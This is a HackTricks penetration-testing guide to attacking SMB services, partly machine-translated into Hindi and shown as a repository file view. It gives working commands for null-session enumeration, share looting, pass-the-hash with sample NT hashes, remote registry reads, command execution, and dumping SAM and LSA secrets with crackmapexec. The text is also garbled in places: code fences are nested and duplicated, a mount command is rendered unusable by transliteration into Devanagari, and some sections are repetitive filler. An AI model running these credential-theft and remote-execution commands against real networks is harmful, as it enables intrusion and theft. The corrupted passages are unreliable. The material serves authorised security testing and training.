hacktricks/network-services-pentesting/pentesting-smb.md

633 lines
46 KiB
Markdown
Raw Normal View History

2023-11-06 08:38:02 +00:00
# 139,445 - SMB पेंटेस्टिंग
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें और PRs के माध्यम से [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में सबमिट करें।**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
## **पोर्ट 139**
2023-11-06 08:38:02 +00:00
**NetBIOS** का अर्थ होता है _नेटवर्क बेसिक इनपुट आउटपुट सिस्टम_. यह एक सॉफ़्टवेयर प्रोटोकॉल है जो स्थानीय क्षेत्र नेटवर्क (LAN) पर एप्लिकेशन, पीसी और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ संचार करने और नेटवर्क पर डेटा प्रेषित करने की अनुमति देता है। NetBIOS नेटवर्क पर चलने वाले सॉफ़्टवेयर एप्लिकेशन अपने NetBIOS नामों के माध्यम से एक दूसरे को खोजते हैं और पहचानते हैं। एक NetBIOS नाम 16 वर्णों तक लंबा होता है और आमतौर पर कंप्यूटर नाम से अलग होता है। जब एक एप्लिकेशन (क्लाइंट) एक अन्य क्लाइंट (सर्वर) को "कॉल" करने के लिए एक कमांड भेजता है, तो दो एप्लिकेशन एक NetBIOS सत्र शुरू करते हैं (टीसीपी पोर्ट 139 के माध्यम से)। (यहां से निकाला गया है [यहां](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
2023-11-06 08:38:02 +00:00
## पोर्ट 445
2023-11-06 08:38:02 +00:00
जबकि पोर्ट 139 को तकनीकी रूप से 'NBT over IP' के रूप में जाना जाता है, पोर्ट 445 को 'SMB over IP' कहा जाता है। **SMB** का मतलब है '**Server Message Blocks**'। आधुनिक भाषा में सर्वर मैसेज ब्लॉक को 'कॉमन इंटरनेट फ़ाइल सिस्टम' भी कहा जाता है। यह सिस्टम मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स और नेटवर्क पर नोड के बीच संचार के लिए साझा पहुंच प्रदान करने के लिए एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में कार्य करता है।
2023-11-06 08:38:02 +00:00
उदाहरण के लिए, Windows पर, SMB TCP/IP के बिना सीधे TCP/IP पर चल सकता है। जैसा कि आपने बताया है, इसके लिए पोर्ट 445 का उपयोग होगा। अन्य सिस्टमों पर, आप पोर्ट 139 का उपयोग करते हुए सेवाएं और एप्लिकेशन्स पाएंगे। इसका मतलब है कि SMB NetBIOS over TCP/IP के साथ चल रहा है\*\*।\*\* (यहां से निकाला गया है: [यहां](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
2022-10-02 19:15:35 +00:00
### SMB
2023-11-06 08:38:02 +00:00
सर्वर संदेश ब्लॉक (`SMB`) एक **क्लाइंट-सर्वर** प्रोटोकॉल है जो **फ़ाइलों** और पूरे नेटवर्क संसाधनों जैसे प्रिंटर, राउटर या इंटरफ़ेस तक का **पहुंच नियंत्रित** करता है। प्रोटोकॉल का मुख्य अनुप्रयोग क्षेत्र विशेष रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला रही है, जिसकी नेटवर्क सेवाएं SMB का समर्थन एक नीचे के संगत तरीके से करती हैं - जिसका मतलब है कि नवीनतम संस्करणों वाले उपकरण आसानी से पुराने माइक्रोसॉफ्ट ऑपरेटिंग सिस्टम स्थापित उपकरणों के साथ संवाद कर सकते हैं।\
**Samba** नामक मुफ्त सॉफ़्टवेयर परियोजना के साथ, लिनक्स और यूनिक्स वितरणों में SMB का उपयोग करने और इसलिए SMB के माध्यम से प्लेटफ़ॉर्मों के बीच संचार करने की संभावना भी है।
2022-10-02 19:15:35 +00:00
2023-11-06 08:38:02 +00:00
एक SMB सर्वर **अपने स्थानीय फ़ाइल सिस्टम के विभिन्न हिस्सों को शेयर के रूप में प्रदान** कर सकता है। इसलिए, एक क्लाइंट के लिए **दिखाई देने वाली पदानुक्रम** आंशिक रूप से **सर्वर** पर **संरचना** से **स्वतंत्र** होती है। **पहुंच अधिकार** `पहुंच नियंत्रण सूची` (`ACL`) द्वारा परिभाषित किए जाते हैं। वे एक **बारीकी से नियंत्रित** तरीके से **`एक्सीक्यूट`**, **`पढ़ें`**, और **`पूर्ण पहुंच`** के आधार पर व्यक्तिगत उपयोगकर्ताओं या उपयोगकर्ता समूहों के लिए परिभाषित किए जा सकते हैं। **ACLs** **शेयरों** पर **परिभाषित** होते हैं और इसलिए स्थानीय रूप से सर्वर पर निर्धारित अधिकारों से मेल नहीं खाते हैं।
2022-10-02 19:15:35 +00:00
2023-11-06 08:38:02 +00:00
### IPC$ शेयर
2023-11-06 08:38:02 +00:00
पुस्तक _**नेटवर्क सुरक्षा मूल्यांकन 3 वीं संस्करण**_ से
2023-11-06 08:38:02 +00:00
एक गुमनाम शून्य सत्र के साथ आप IPC$ शेयर तक पहुंच सकते हैं और नामित पाइप्स के माध्यम से उभरती सेवाओं के साथ संवाद कर सकते हैं। Kali Linux में enum4linux उपयोगी है; इसके साथ, आप निम्नलिखित प्राप्त कर सकते हैं:
2023-11-06 08:38:02 +00:00
* ऑपरेटिंग सिस्टम की जानकारी
* माता-पिता डोमेन का विवरण
* स्थानीय उपयोगकर्ताओं और समूहों की सूची
* उपलब्ध SMB शेयरों का विवरण
* प्रभावी सिस्टम सुरक्षा नीति
2023-11-06 08:38:02 +00:00
## NTLM क्या है
2023-11-06 08:38:02 +00:00
अगर आपको NTLM के बारे में पता नहीं है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका उपयोग कैसे कर सकते हैं, तो आपको यह पृष्ठ बहुत रोचक लगेगा जहां **NTLM** के बारे में विस्तार से बताया गया है और यह भी बताया गया है कि आप इसका लाभ कैसे उठा सकते हैं:
2022-10-04 23:49:59 +00:00
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}
2023-11-06 08:38:02 +00:00
## **सर्वर जांच**
2023-11-06 08:38:02 +00:00
### **होस्ट की खोज** के लिए नेटवर्क स्कैन करें:
```bash
nbtscan -r 192.168.0.1/24
```
2023-11-06 08:38:02 +00:00
### SMB सर्वर संस्करण
2023-11-06 08:38:02 +00:00
SMB संस्करण के लिए संभावित उत्पादों की खोज करने के लिए, यह महत्वपूर्ण है कि जाना जाए कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग की गई उपकरणों में नहीं दिखाई देती है, तो आप कर सकते हैं:
2023-11-06 08:38:02 +00:00
* **MSF** अतिरिक्त मॉड्यूल \_**auxiliary/scanner/smb/smb\_version** का उपयोग करें
* या इस स्क्रिप्ट का उपयोग करें:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
2023-11-06 08:38:02 +00:00
### **खोज शोध**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
2023-11-06 08:38:02 +00:00
### **संभावित** क्रेडेंशियल्स
2023-11-06 08:38:02 +00:00
| **उपयोगकर्ता नाम** | **सामान्य पासवर्ड** |
| -------------------- | --------------------- |
| _(खाली)_ | _(खाली)_ |
| guest | _(खाली)_ |
| Administrator, admin | _(खाली)_, पासवर्ड, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | पासवर्ड, test, lab, demo |
2023-11-06 08:38:02 +00:00
### SMB पर्यावरण सूचना
2023-11-06 08:38:02 +00:00
### जानकारी प्राप्त करें
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
2021-06-16 12:07:22 +00:00
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
2020-12-22 11:59:42 +00:00
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
2022-11-26 22:36:18 +00:00
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
2023-11-06 08:38:02 +00:00
### उपयोगकर्ताओं, समूहों और लॉग इन किए गए उपयोगकर्ताओं की जांच करें
2023-08-08 09:05:26 +00:00
2023-11-06 08:38:02 +00:00
# यह जानकारी पहले से ही enum4linux और enum4linux-ng से इकट्ठा की जानी चाहिए।
2023-08-08 09:05:26 +00:00
```bash
2022-10-04 23:49:59 +00:00
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
2022-10-04 21:36:29 +00:00
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
2022-10-04 21:36:29 +00:00
rpcclient -U "" -N 10.10.10.10
enumdomusers
2022-10-04 23:49:59 +00:00
enumdomgroups
2023-08-08 09:05:26 +00:00
```
2023-11-06 08:38:02 +00:00
### स्थानीय उपयोगकर्ताओं का जांच करें
2023-08-08 09:05:26 +00:00
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
2022-10-04 23:49:59 +00:00
lookupsid.py -no-pass hostname.local
2023-08-08 09:05:26 +00:00
```
2023-11-06 08:38:02 +00:00
नेटवर्क सेवाओं के पेंटेस्टिंग के लिए SMB
## SMB क्या है?
SMB (Server Message Block) एक नेटवर्क प्रोटोकॉल है जो फ़ाइल और प्रिंटर साझा करने के लिए उपयोग होता है। यह Windows ऑपरेटिंग सिस्टम पर आधारित है और नेटवर्क के माध्यम से डेटा को सुरक्षित रूप से ट्रांसफर करने की क्षमता प्रदान करता है।
## SMB पेंटेस्टिंग क्यों महत्वपूर्ण है?
SMB पेंटेस्टिंग के माध्यम से हैकर्स नेटवर्क में सुरक्षा की कमियों को खोज सकते हैं और उन्हें उपयोग करके अनधिकृत रूप से नेटवर्क में प्रवेश कर सकते हैं। यह उन्हें नेटवर्क के अंदर डेटा को चोरी करने, नेटवर्क के अन्य उपयोगकर्ताओं के साथ अनधिकृत रूप से संवाद करने और नेटवर्क के अन्य संसाधनों को अनुप्रयोगों के रूप में उपयोग करने की अनुमति देता है।
## SMB पेंटेस्टिंग टेक्निक्स
1. SMB वर्जन का पता लगाएं
2. नेटवर्क में SMB शेयर्स का पता लगाएं
3. अनधिकृत रूप से SMB शेयर्स तक पहुंचें
4. SMB शेयर्स के लिए उपयोगकर्ता नाम पता करें
5. SMB शेयर्स के लिए उपयोगकर्ता क्रेडेंशियल्स प्राप्त करें
6. SMB शेयर्स के लिए उपयोगकर्ता क्रेडेंशियल्स का उपयोग करें
7. SMB शेयर्स में फ़ाइलें और फ़ोल्डर्स खोजें
8. फ़ाइलें और फ़ोल्डर्स को अपलोड और डाउनलोड करें
9. SMB शेयर्स के लिए अनधिकृत रूप से उपयोगकर्ता निर्माण करें
10. SMB शेयर्स के लिए अनधिकृत रूप से उपयोगकर्ता को हटाएं
## SMB पेंटेस्टिंग उपकरण
1. enum4linux
2. smbclient
3. smbmap
4. crackmapexec
5. impacket
6. metasploit
7. nmap
## SMB पेंटेस्टिंग के लिए उपयोगी लिंक्स
- [SMB पेंटेस्टिंग के लिए HackTricks वेबसाइट](https://book.hacktricks.xyz/pentesting/pentesting-smb)
- [SMB पेंटेस्टिंग के लिए Metasploit वेबसाइट](https://www.metasploit.com/)
- [SMB पेंटेस्टिंग के लिए Impacket वेबसाइट](https://github.com/SecureAuthCorp/impacket)
2023-08-08 09:05:26 +00:00
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
2023-11-06 08:38:02 +00:00
### Metasploit - स्थानीय उपयोगकर्ताओं का जांच करें
```bash
2022-10-04 23:49:59 +00:00
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
2022-10-04 21:36:29 +00:00
```
2022-10-02 19:15:35 +00:00
2022-10-04 21:36:29 +00:00
### **Enumerating LSARPC and SAMR rpcclient**
2022-10-04 23:18:19 +00:00
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
2022-10-04 21:36:29 +00:00
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
### GUI connection from linux
2021-02-02 09:11:43 +00:00
2022-05-01 13:25:53 +00:00
#### In the terminal:
2021-02-02 09:11:43 +00:00
`xdg-open smb://cascade.htb/`
2022-05-01 13:25:53 +00:00
#### In file browser window (nautilus, thunar, etc)
2021-02-02 09:11:43 +00:00
`smb://friendzone.htb/general/`
2022-10-04 23:49:59 +00:00
## Shared Folders Enumeration
2022-05-01 13:25:53 +00:00
### List shared folders
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
```bash
2023-11-06 08:38:02 +00:00
```markdown
`smbclient --no-pass -L //<IP>` # नल उपयोगकर्ता
`smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP>` # यदि आप पासवर्ड को छोड़ देते हैं, तो यह प्रश्न पूछा जाएगा। --pw-nt-hash के साथ, प्रदान किया गया पासवर्ड NT हैश होता है।
2022-10-04 23:49:59 +00:00
2023-11-06 08:38:02 +00:00
`smbmap -H <IP> [-P <PORT>]` # नल उपयोगकर्ता
`smbmap -u "username" -p "password" -H <IP> [-P <PORT>]` # क्रेडेंशियल्स
`smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>]` # पास-द-हैश
`smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>]` # रिकर्सिव सूची
2022-10-04 23:49:59 +00:00
2023-11-06 08:38:02 +00:00
`crackmapexec smb <IP> -u '' -p '' --shares` # नल उपयोगकर्ता
`crackmapexec smb <IP> -u 'username' -p 'password' --shares` # अतिथि उपयोगकर्ता
`crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares` # अतिथि उपयोगकर्ता
```
```
2022-05-01 13:25:53 +00:00
### **Connect/List a shared folder**
```bash
2023-11-06 08:38:02 +00:00
# smbclient का उपयोग करके कनेक्ट करें
smbclient --no-pass //<IP>/<Folder>
2023-11-06 08:38:02 +00:00
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #अगर आप pwd को छोड़ देते हैं, तो यह प्रश्न पूछा जाएगा। --pw-nt-hash के साथ, प्रदान किया गया pwd NT हैश होता है।
#--no-pass -c 'recurse;ls' का उपयोग करके smbclient के साथ रिकर्सिव रूप से सूची बनाएँ
2023-11-06 08:38:02 +00:00
# smbmap के साथ सूची बनाएँ, फ़ोल्डर के बिना सब कुछ सूची बनाएँ
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # रिकर्सिव सूची
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # गैर-रिकर्सिव सूची
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] # पास-द-हैश
```
2022-05-01 13:25:53 +00:00
### **Manually enumerate windows shares and connect to them**
2022-03-27 21:55:26 +00:00
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
(Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command
```bash
2023-11-06 08:38:02 +00:00
```markdown
`smbclient -U '%' -N \\\\<IP>\\<SHARE>` # एक विंडोज शेयर से कनेक्ट करने के लिए नल सत्र
`smbclient -U '<USER>' \\\\<IP>\\<SHARE>` # एक विंडोज शेयर से कनेक्ट करने के लिए प्रमाणीकृत सत्र (आपसे पासवर्ड पूछा जाएगा)
```
```
or this script (using a null session)
```bash
#/bin/bash
2020-08-28 16:23:05 +00:00
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
2023-11-06 08:38:02 +00:00
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
2023-11-06 08:38:02 +00:00
if [[ -z $output ]]; then
echo "[+] $share के लिए एक शून्य सत्र बनाना संभव है" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
examples
```bash
2023-11-06 08:38:02 +00:00
```markdown
### smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # NT_STATUS_BAD_NETWORK_NAME लौटाता है
### smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # NT_STATUS_ACCESS_DENIED लौटाता है या आपको एक सत्र देता है
```
```
2022-05-01 13:25:53 +00:00
### Mount a shared folder
```bash
2023-11-06 08:38:02 +00:00
```
माउंट -टी सीआईएफएस //x.x.x.x/share /mnt/share
माउंट -टी सीआईएफएस -ओ "उपयोगकर्ता नाम=उपयोगकर्ता,पासवर्ड=पासवर्ड" //x.x.x.x/share /mnt/share
```
```
2022-05-01 13:25:53 +00:00
### **Download files**
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
```bash
2023-11-06 08:38:02 +00:00
# एक फ़ाइल खोजें और डाउनलोड करें
sudo smbmap -R फ़ोल्डर -H <IP> -A <फ़इलन> -q # फ़ाइल को रिकर्सिव मोड में खोजें और इसे /usr/share/smbmap में डाउनलोड करें
```
```bash
2023-11-06 08:38:02 +00:00
#सभी डाउनलोड करें
smbclient //<IP>/<share>
2020-09-03 15:27:18 +00:00
> mask ""
> recurse
> prompt
> mget *
2023-11-06 08:38:02 +00:00
#सभी चीजें मौजूदा निर्देशिका में डाउनलोड करें
```
2020-09-07 11:12:11 +00:00
Commands:
2020-09-07 11:12:11 +00:00
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
* recurse: toggles recursion on (default: off)
* prompt: toggles prompting for filenames off (default: on)
* mget: copies all files matching the mask from host to client machine
2020-09-04 19:46:12 +00:00
(_Information from the manpage of smbclient_)
2022-10-04 23:49:59 +00:00
### Domain Shared Folders Search
2020-12-22 15:40:31 +00:00
2022-10-04 23:49:59 +00:00
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
2022-10-05 00:11:28 +00:00
```bash
2023-11-06 08:38:02 +00:00
```
2022-10-05 00:11:28 +00:00
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
2023-11-06 08:38:02 +00:00
यहां दिए गए कमांड के द्वारा एक नेटवर्क सेवा को पेंटेस्ट करने के लिए Snaffler.exe उपयोग किया जाता है। इस कमांड के माध्यम से आप एक डोमेन (domain.local) के साथ संचालित हो रही सेवा को स्कैन कर सकते हैं और उसके डेटा को विस्तार से लॉग फ़ाइल (snaffler.log) में रिकॉर्ड कर सकते हैं। इसके अलावा, आप वर्बोस मोड (verbose mode) में चल रही सभी जानकारी को भी देख सकते हैं।
```
2022-10-05 00:11:28 +00:00
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
2023-11-06 08:38:02 +00:00
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
2020-12-22 15:40:31 +00:00
```bash
2023-11-06 08:38:02 +00:00
```
यहां आपको एक उदाहरण दिया गया है जहां आपको SMB सेवा का उपयोग करके एक नेटवर्क पर पेंटेस्टिंग करने के लिए एक कमांड दिखाई दी है। इस उदाहरण में, हमने crackmapexec टूल का उपयोग किया है जो SMB प्रोटोकॉल का उपयोग करके नेटवर्क पर पेंटेस्टिंग करने के लिए उपयोगी होता है। इस कमांड के माध्यम से हम निर्दिष्ट IP पते (10.10.10.10), उपयोगकर्ता नाम (username), पासवर्ड (pass), और शेयर का नाम ('Department Shares') देकर नेटवर्क के विभिन्न शेयरों की जांच कर सकते हैं। यहां spider_plus एक शेयर का उदाहरण है, लेकिन आप अपनी आवश्यकतानुसार इसे बदल सकते हैं।
```
2020-12-22 15:40:31 +00:00
```
2022-10-05 23:14:39 +00:00
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}
2022-10-04 23:49:59 +00:00
## Read Registry
2021-05-10 16:48:27 +00:00
2022-10-04 23:49:59 +00:00
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
2021-05-10 16:48:27 +00:00
2022-10-04 23:49:59 +00:00
```bash
2023-11-06 08:38:02 +00:00
```
2022-10-04 23:49:59 +00:00
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
2021-05-10 16:48:27 +00:00
```
2023-11-06 08:38:02 +00:00
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```
2022-10-04 23:49:59 +00:00
## Post Exploitation
2022-10-02 19:15:35 +00:00
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Allow listing available shares in the current share? |
| `read only = no` | Forbid the creation and modification of files? |
| `writable = yes` | Allow users to create and modify files? |
| `guest ok = yes` | Allow connecting to the service without using a password? |
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login? |
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
2022-05-01 13:25:53 +00:00
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
2023-11-06 08:38:02 +00:00
```markdown
## smbclient --kerberos //ws01win10.domain.com/C$
यह कमांड smbclient को केरबेरोस के साथ उपयोग करता है और निर्दिष्ट विंडोज सर्वर पर संचालित होने वाले SMB सेवा के साथ संपर्क स्थापित करता है। यहां "//ws01win10.domain.com/C$" निर्दिष्ट सर्वर का नाम और साझा फ़ोल्डर का पथ है जिसके साथ संपर्क स्थापित करना है।
## rpcclient -k ws01win10.domain.com
यह कमांड rpcclient को केरबेरोस टिकट के साथ उपयोग करता है और निर्दिष्ट विंडोज सर्वर के साथ संपर्क स्थापित करता है। यहां "ws01win10.domain.com" निर्दिष्ट सर्वर का नाम है जिसके साथ संपर्क स्थापित करना है।
```
```html
<h2>smbclient --kerberos //ws01win10.domain.com/C$</h2>
<p>यह कमांड smbclient को केरबेरोस के साथ उपयोग करता है और निर्दिष्ट विंडोज सर्वर पर संचालित होने वाले SMB सेवा के साथ संपर्क स्थापित करता है। यहां "//ws01win10.domain.com/C$" निर्दिष्ट सर्वर का नाम और साझा फ़ोल्डर का पथ है जिसके साथ संपर्क स्थापित करना है।</p>
<h2>rpcclient -k ws01win10.domain.com</h2>
<p>यह कमांड rpcclient को केरबेरोस टिकट के साथ उपयोग करता है और निर्दिष्ट विंडोज सर्वर के साथ संपर्क स्थापित करता है। यहां "ws01win10.domain.com" निर्दिष्ट सर्वर का नाम है जिसके साथ संपर्क स्थापित करना है।</p>
```
```
2022-10-04 23:49:59 +00:00
## **Execute Commands**
2022-05-01 13:25:53 +00:00
### **crackmapexec**
2020-09-20 21:41:33 +00:00
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
```bash
2023-11-06 08:38:02 +00:00
```
apt-get install crackmapexec
2023-11-06 08:38:02 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #पावरशेल को चलाएं
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #कमांड प्रवर्तन को चलाएं
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #पास-द-हैश को चलाएं
# --exec-method {mmcexec,smbexec,atexec,wmiexec} का उपयोग करें
2020-09-20 21:41:33 +00:00
2023-11-06 08:38:02 +00:00
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #SAM डंप करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #LSASS मेमोरी हैश डंप करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #सत्र प्राप्त करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #लॉग-ऑन उपयोगकर्ताओं को प्राप्त करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #डिस्कों का जांच करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #उपयोगकर्ताओं का जांच करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #समूहों का जांच करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #स्थानीय समूहों का जांच करें
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #पासवर्ड नीति प्राप्त करें
